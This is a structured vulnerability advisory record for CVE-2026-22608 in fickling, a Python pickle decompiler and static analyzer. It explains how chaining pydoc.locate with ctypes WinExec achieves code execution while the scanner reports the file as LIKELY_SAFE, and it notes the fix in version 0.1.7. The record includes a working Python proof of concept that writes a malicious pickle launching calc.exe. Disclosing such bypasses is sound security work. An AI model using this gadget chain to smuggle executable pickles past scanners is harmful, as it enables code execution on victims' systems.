{"id":"CVE-2026-22608","aliases":["CVE-2026-22608","GHSA-5hvc-6wx8-mvv4","PYSEC-2026-1369"],"related":[],"kind":"vulnerability","state":"published","title":"Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection","summary":"Fickling is a Python pickling decompiler and static analyzer. Prior to version 0.1.7, both ctypes and pydoc modules aren't explicitly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE. This issue has been patched in version 0.1.7.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Fickling is a Python pickling decompiler and static analyzer. Prior to version 0.1.7, both ctypes and pydoc modules aren't explicitly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE. This issue has been patched in version 0.1.7.","source":"cvelist"},{"lang":"en","text":"# Fickling's assessment\n\n`pydoc` and `ctypes` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1).\n\n# Original report\n\n### Summary\nBoth ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE\n\n### Details\nImport: GLOBAL pydoc locate (Allowed).\nResolution: Call locate('ctypes.windll.kernel32.WinExec').\nExecution: Call the result with (b'calc.exe', 1).\n\nTo bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin\n\n### PoC\n```python\nimport os\n\nGLOBAL      = b'c'\nSTRING      = b'S'\nBININT      = b'K'\nTUPLE1      = b'\\x85'\nTUPLE2      = b'\\x86'\nEMPTY_TUPLE = b')'\nREDUCE      = b'R'\nPUT         = b'p'\nGET         = b'g'\nPOP         = b'0'\nEMPTY_DICT  = b'}'\nSETITEM     = b's'\nBUILD       = b'b'\nSTOP        = b'.'\n\ndef generate_stealth_payload():\n    payload = b\"\"\n\n    payload += GLOBAL + b\"pydoc\\nlocate\\n\"\n    payload += STRING + b\"'ctypes.windll.kernel32.WinExec'\\n\"\n    payload += TUPLE1 + REDUCE\n    payload += PUT + b\"0\\n\" # Var 0 = <_FuncPtr WinExec>\n    payload += POP\n\n    payload += GET + b\"0\\n\" \n    payload += b\"C\" + b\"\\x08\" + b\"calc.exe\" \n    payload += BININT + b\"\\x01\"             \n    payload += TUPLE2 + REDUCE\n    payload += PUT + b\"1\\n\" # Var 1 = Execution Result\n    payload += POP\n\n    payload += GLOBAL + b\"builtins\\nException\\n\"\n    payload += EMPTY_TUPLE + REDUCE\n    payload += PUT + b\"2\\n\" # Var 2 = Exception instance\n\n    payload += EMPTY_DICT\n    payload += STRING + b\"'rce_status'\\n\"\n    payload += GET + b\"1\\n\"\n    payload += SETITEM      # { 'rce_status': result }\n    \n    payload += BUILD \n    \n    payload += STOP\n    return payload\n\ndata = generate_stealth_payload()\nwith open(\"stealth_ctypes.pkl\", \"wb\") as f:\n    f.write(data)\n    \nprint(\"Generated 'stealth_ctypes.pkl'\")\n````\n\nWhat fickling sees\n```python\nfrom pydoc import locate\n_var0 = locate('ctypes.windll.kernel32.WinExec')\n_var1 = _var0(b'calc.exe', 1)\n_var2 = Exception()\n_var3 = _var2\n_var3.__setstate__({'rce_status': _var1})\nresult0 = _var3\n```\n<img width=\"915\" height=\"197\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b5d81e0d-4946-4768-a704-618a4554ae7a\" />","format":"markdown","source":"ghsa"},{"lang":"es","text":"Fickling es un descompilador de pickling de Python y analizador estático. Antes de la versión 0.1.7, ambos módulos ctypes y pydoc no están bloqueados explícitamente. Incluso otras herramientas de escaneo de pickle existentes (como picklescan) no bloquean pydoc.locate. Encadenar estos dos puede lograr RCE mientras el escáner sigue reportando el archivo como LIKELY_SAFE. Este problema ha sido parcheado en la versión 0.1.7.","source":"nvd"}],"published":"2026-01-09T21:05:13.000Z","modified":"2026-07-07T17:57:31.854Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","score":8.9,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","score":8.9,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"}],"cwes":["CWE-184","CWE-502"],"affected":[{"ranges":[{"version":"< 0.1.7","status":"affected"}],"vendor":"trailofbits","product":"fickling","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.1.7"}],"ecosystem":"PyPI","package":"fickling","purl":"pkg:pypi/fickling","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.1.7"}],"vendor":"trailofbits","product":"fickling","cpe":"cpe:2.3:a:trailofbits:fickling:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.1.7"}],"ecosystem":"PyPI","package":"fickling","purl":"pkg:pypi/fickling","source":"pysec"}],"references":[{"url":"https://github.com/trailofbits/fickling/security/advisories/GHSA-5hvc-6wx8-mvv4","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/trailofbits/fickling/releases/tag/v0.1.7","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22608","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/trailofbits/fickling/pull/195","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/trailofbits/fickling/commit/d0b00d584afb5c58e38991cd544cb3889de90db6","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/trailofbits/fickling","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py#L145","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/fickling","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-5hvc-6wx8-mvv4","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-01-13T19:57:08.459Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-22608","url":"https://www.cve.org/CVERecord?id=CVE-2026-22608","licence":"CVE Terms of Use","modified":"2026-01-13T19:57:12.040Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-5hvc-6wx8-mvv4","url":"https://github.com/advisories/GHSA-5hvc-6wx8-mvv4","licence":"CC-BY-4.0","modified":"2026-07-07T17:57:31.854Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-22608","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22608","licence":"Public domain","modified":"2026-06-17T10:20:09.340Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-1369","url":"https://osv.dev/vulnerability/PYSEC-2026-1369","licence":"CC-BY-4.0","modified":"2026-07-07T17:47:13.951Z"}],"updatedAt":"2026-11-25T22:59:12.704Z","epss":{"score":0.00696,"percentile":0.48424,"date":"2026-11-30T12:00:22.000Z"}}